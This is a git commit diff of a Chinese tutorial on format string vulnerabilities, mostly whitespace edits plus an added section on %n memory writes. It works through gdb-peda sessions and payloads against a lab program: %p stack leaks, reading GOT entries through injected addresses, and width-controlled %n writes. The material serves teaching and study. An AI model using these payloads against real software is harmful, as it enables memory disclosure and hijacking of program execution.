This commit is contained in:
firmianay 2017-09-11 23:55:15 +08:00
parent e6c716c29b
commit 70fe3201a5

View File

@ -2,8 +2,8 @@
- [格式化输出函数和格式字符串](#格式化输出函数和格式字符串) - [格式化输出函数和格式字符串](#格式化输出函数和格式字符串)
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理) - [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
- [格式化字符串漏洞](#格式化字符串漏洞) - [格式化字符串漏洞利用](#格式化字符串漏洞利用)
- [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞) - [x86-64 中的格式化字符串漏洞](#x86-64-中的格式化字符串漏洞)
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞) - [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
- [扩展阅读](#扩展阅读) - [扩展阅读](#扩展阅读)
@ -272,7 +272,7 @@ Hello 32 f7f95580 565555f4 !
- `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。 - `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
## 格式化字符串漏洞 ## 格式化字符串漏洞利用
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。 通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
@ -312,12 +312,12 @@ $ gcc -m32 -fno-stack-protector -no-pie fmt.c
gdb-peda$ n gdb-peda$ n
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
EBX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>) EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -332,15 +332,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
0x5655564f <main+146>: call 0x56555450 <putchar@plt> 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments: Guessed arguments:
arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
arg[1]: 0x1 arg[1]: 0x1
arg[2]: 0x88888888 arg[2]: 0x88888888
arg[3]: 0xffffffff arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD") arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") 0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
0004| 0xffffd554 --> 0x1 0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888 0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff 0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") 0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
@ -363,12 +363,12 @@ Continuing.
gdb-peda$ n gdb-peda$ n
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("%p.%p.%p.%p.%p") EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
EBX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>) EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -383,15 +383,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
0x5655564f <main+146>: call 0x56555450 <putchar@plt> 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments: Guessed arguments:
arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p") arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
arg[1]: 0x1 arg[1]: 0x1
arg[2]: 0x88888888 arg[2]: 0x88888888
arg[3]: 0xffffffff arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD") arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") 0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
0004| 0xffffd554 --> 0x1 0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888 0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff 0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p") 0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
@ -415,12 +415,12 @@ Continuing.
gdb-peda$ n gdb-peda$ n
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
EBX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>) EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -435,15 +435,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
0x5655564f <main+146>: call 0x56555450 <putchar@plt> 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments: Guessed arguments:
arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
arg[1]: 0x1 arg[1]: 0x1
arg[2]: 0x88888888 arg[2]: 0x88888888
arg[3]: 0xffffffff arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD") arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") 0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0004| 0xffffd554 --> 0x1 0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888 0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff 0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") 0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
@ -469,12 +469,12 @@ ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
gdb-peda$ n gdb-peda$ n
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("%4$s") EAX: 0xffffd584 ("%4$s")
EBX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%4$s") ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>) EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -489,15 +489,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
0x5655564f <main+146>: call 0x56555450 <putchar@plt> 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments: Guessed arguments:
arg[0]: 0xffffd584 ("%4$s") arg[0]: 0xffffd584 ("%4$s")
arg[1]: 0x1 arg[1]: 0x1
arg[2]: 0x88888888 arg[2]: 0x88888888
arg[3]: 0xffffffff arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD") arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("%4$s") 0000| 0xffffd550 --> 0xffffd584 ("%4$s")
0004| 0xffffd554 --> 0x1 0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888 0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff 0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%4$s") 0020| 0xffffd564 --> 0xffffd584 ("%4$s")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
@ -512,18 +512,18 @@ ABCD
上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。 上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。
``` ```
gdb-peda$ python print("AAAA"+".%p"*20) gdb-peda$ python print("AAAA"+".%p"*20)
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
... ...
gdb-peda$ n gdb-peda$ n
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
EBX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>) EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -538,15 +538,15 @@ EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
0x5655564f <main+146>: call 0x56555450 <putchar@plt> 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments: Guessed arguments:
arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
arg[1]: 0x1 arg[1]: 0x1
arg[2]: 0x88888888 arg[2]: 0x88888888
arg[3]: 0xffffffff arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD") arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0004| 0xffffd554 --> 0x1 0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888 0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff 0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
@ -579,19 +579,19 @@ AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7f
`0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a` `0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`
``` ```
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text $ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
$ gdb -q a.out $ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done. Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b printf gdb-peda$ b printf
Breakpoint 1 at 0x8048350 Breakpoint 1 at 0x8048350
gdb-peda$ r < text gdb-peda$ r < text
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 --> 0xffffd57a ("ABCD") EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
EBX: 0x804a000 --> 0x8049f14 --> 0x1 EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20) ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -608,9 +608,9 @@ No argument
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20) 0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD") 0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
0008| 0xffffd554 --> 0x1 0008| 0xffffd554 --> 0x1
0012| 0xffffd558 --> 0x88888888 0012| 0xffffd558 --> 0x88888888
0016| 0xffffd55c --> 0xffffffff 0016| 0xffffd55c --> 0xffffffff
0020| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd560 --> 0xffffd57a ("ABCD")
0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD") 0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
@ -635,7 +635,7 @@ z<><7A><EFBFBD>.ABCD
先看一下重定向表: 先看一下重定向表:
``` ```
$ readelf -r a.out $ readelf -r a.out
Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries: Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
Offset Info Type Sym.Value Sym. Name Offset Info Type Sym.Value Sym. Name
@ -652,11 +652,11 @@ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
``` ```
$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out $ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out
.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 .0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out $ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out
.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e .0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out $ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out
.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e .0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out $ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out
▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e ▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
``` ```
细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08``0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表: 细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08``0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表:
@ -667,21 +667,20 @@ Oct Dec Hex Char
``` ```
于是就被省略了,同样会被省略的还有很多,如 `\x07`'\a')、`\x08`'\b')、`\x20`SPACE等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个`__isoc99_scanf`)。 于是就被省略了,同样会被省略的还有很多,如 `\x07`'\a')、`\x08`'\b')、`\x20`SPACE等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个`__isoc99_scanf`)。
``` ```
gdb-peda$ q $ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text
[firmy@firmy-pc RE4B]$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text $ gdb -q a.out
[firmy@firmy-pc RE4B]$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done. Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b printf gdb-peda$ b printf
Breakpoint 1 at 0x8048350 Breakpoint 1 at 0x8048350
gdb-peda$ r < text gdb-peda$ r < text
[----------------------------------registers-----------------------------------] [----------------------------------registers-----------------------------------]
EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
EBX: 0x804a000 --> 0x8049f14 --> 0x1 EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1 ECX: 0x1
EDX: 0xf7f9883c --> 0x0 EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90 ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0 EDI: 0x0
EBP: 0xffffd618 --> 0x0 EBP: 0xffffd618 --> 0x0
ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20) ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
@ -698,9 +697,9 @@ No argument
[------------------------------------stack-------------------------------------] [------------------------------------stack-------------------------------------]
0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20) 0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) 0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
0008| 0xffffd554 --> 0x1 0008| 0xffffd554 --> 0x1
0012| 0xffffd558 --> 0x88888888 0012| 0xffffd558 --> 0x88888888
0016| 0xffffd55c --> 0xffffffff 0016| 0xffffd55c --> 0xffffffff
0020| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd560 --> 0xffffd57a ("ABCD")
0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) 0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
@ -722,9 +721,327 @@ Continuing.
``` ```
虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。 虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。
当然并非总能通过使用 4 字节的跳转(如 `AAAA`)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 字节跳转。
#### 覆盖栈内容 #### 覆盖栈内容
现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。`%n` 转换指示符将 `%n` 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。
```c
#include<stdio.h>
void main() {
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);
}
```
```
$ ./a.out
hello
6
```
`i` 被赋值为 6因为在遇到转换指示符之前一共写入了 6 个字符(`hello` 加上一个空格)。在没有长度修饰符时,默认写入一个 `int` 类型的值。
通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(`0` 补齐时在宽度前加点`.` 或 `0`)。如:
```c
#include<stdio.h>
void main() {
int i;
printf("%10u%n\n", 1, &i);
printf("%d\n", i);
printf("%.50u%n\n", 1, &i);
printf("%d\n", i);
printf("%0100u%n\n", 1, &i);
printf("%d\n", i);
}
```
```
$ ./a.out
1
10
00000000000000000000000000000000000000000000000001
50
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
100
```
就是这样,下面我们把地址 `0x8048000` 写入内存:
```
printf("%0134512640d%n\n", 1, &i);
```
```
$ ./a.out
...
0x8048000
```
